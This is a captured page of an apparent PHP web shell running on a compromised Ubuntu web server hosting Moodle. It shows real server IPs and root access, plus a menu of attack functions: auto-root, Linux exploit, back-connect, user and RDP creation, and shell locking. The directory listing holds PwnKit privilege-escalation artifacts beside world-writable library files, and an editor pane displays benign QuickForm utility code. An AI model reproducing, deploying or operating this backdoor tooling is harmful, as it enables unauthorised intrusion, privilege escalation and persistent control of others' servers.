Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
pear /
HTML /
QuickForm /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Renderer
[ DIR ]
drwxrwxrwx
Rule
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
DHTMLRulesTableless.php
7.27
KB
-rwxrwxrwx
Renderer.php
4.51
KB
-rwxrwxrwx
Rule.php
2.15
KB
-rwxrwxrwx
RuleRegistry.php
15.2
KB
-rwxrwxrwx
advcheckbox.php
8.82
KB
-rwxrwxrwx
autocomplete.php
8.77
KB
-rwxrwxrwx
button.php
2.95
KB
-rwxrwxrwx
checkbox.php
7.9
KB
-rwxrwxrwx
date.php
32.44
KB
-rwxrwxrwx
element.php
13.12
KB
-rwxrwxrwx
file.php
11.21
KB
-rwxrwxrwx
group.php
17.66
KB
-rwxrwxrwx
header.php
2.45
KB
-rwxrwxrwx
hidden.php
3.21
KB
-rwxrwxrwx
hiddenselect.php
4.17
KB
-rwxrwxrwx
hierselect.php
20.06
KB
-rwxrwxrwx
html.php
2.45
KB
-rwxrwxrwx
image.php
3.92
KB
-rwxrwxrwx
input.php
6.03
KB
-rwxrwxrwx
link.php
5.41
KB
-rwxrwxrwx
password.php
3.86
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
radio.php
7.85
KB
-rwxrwxrwx
reset.php
2.91
KB
-rwxrwxrwx
select.php
18.93
KB
-rwxrwxrwx
static.php
5.38
KB
-rwxrwxrwx
submit.php
3.1
KB
-rwxrwxrwx
text.php
3.41
KB
-rwxrwxrwx
textarea.php
6.18
KB
-rwxrwxrwx
utils.php
4.52
KB
-rwxrwxrwx
xbutton.php
4.26
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : utils.php
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * utility functions * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.01 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_01.txt If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category HTML * @package HTML_QuickForm * @author Chuck Burgess <ashnazg@php.net> * @copyright 2001-2018 The PHP Group * @license http://www.php.net/license/3_01.txt PHP License 3.01 * @version CVS: $Id$ * @link http://pear.php.net/package/HTML_QuickForm */ /** * Provides a collection of static methods for array manipulation. * * (courtesy of CiviCRM project (https://civicrm.org/) * * @category HTML * @package HTML_QuickForm * @author Chuck Burgess <ashnazg@php.net> * @version Release: @package_version@ * @since 3.2 */ class HTML_QuickForm_utils { /** * Get a single value from an array-tree. * * @param array $values Ex: ['foo' => ['bar' => 123]]. * @param array $path Ex: ['foo', 'bar']. * @param mixed $default * @return mixed Ex 123. * * @access public * @static */ static function pathGet($values, $path, $default = NULL) { foreach ($path as $key) { if (!is_array($values) || !isset($values[$key])) { return $default; } $values = $values[$key]; } return $values; } /** * Check if a key isset which may be several layers deep. * * This is a helper for when the calling function does not know how many layers deep * the path array is so cannot easily check. * * @param array $values * @param array $path * @return bool * * @access public * @static */ static function pathIsset($values, $path) { foreach ($path as $key) { if (!is_array($values) || !isset($values[$key])) { return FALSE; } $values = $values[$key]; } return TRUE; } /** * Set a single value in an array tree. * * @param array $values Ex: ['foo' => ['bar' => 123]]. * @param array $pathParts Ex: ['foo', 'bar']. * @param mixed $value Ex: 456. * @return void * * @access public * @static */ static function pathSet(&$values, $pathParts, $value) { $r = &$values; $last = array_pop($pathParts); foreach ($pathParts as $part) { if (!isset($r[$part])) { $r[$part] = array(); } $r = &$r[$part]; } $r[$last] = $value; } /** * Check if a key isset which may be several layers deep. * * This is a helper for when the calling function does not know how many layers deep the * path array is so cannot easily check. * * @param array $array * @param array $path * @return bool * * @access public * @static */ static function recursiveIsset($array, $path) { return self::pathIsset($array, $path); } /** * Check if a key isset which may be several layers deep. * * This is a helper for when the calling function does not know how many layers deep the * path array is so cannot easily check. * * @param array $array * @param array $path An array of keys, * e.g [0, 'bob', 8] where we want to check if $array[0]['bob'][8] * @param mixed $default Value to return if not found. * @return bool * * @access public * @static */ static function recursiveValue($array, $path, $default = NULL) { return self::pathGet($array, $path, $default); } /** * Append the value to the array using the key provided. * * e.g if value is 'llama' & path is [0, 'email', 'location'] result will be * [0 => ['email' => ['location' => 'llama']] * * @param $path * @param $value * @param array $source * @return array * * @access public * @static */ static function recursiveBuild($path, $value, $source = array()) { self::pathSet($source, $path, $value); return $source; } } ?>
Close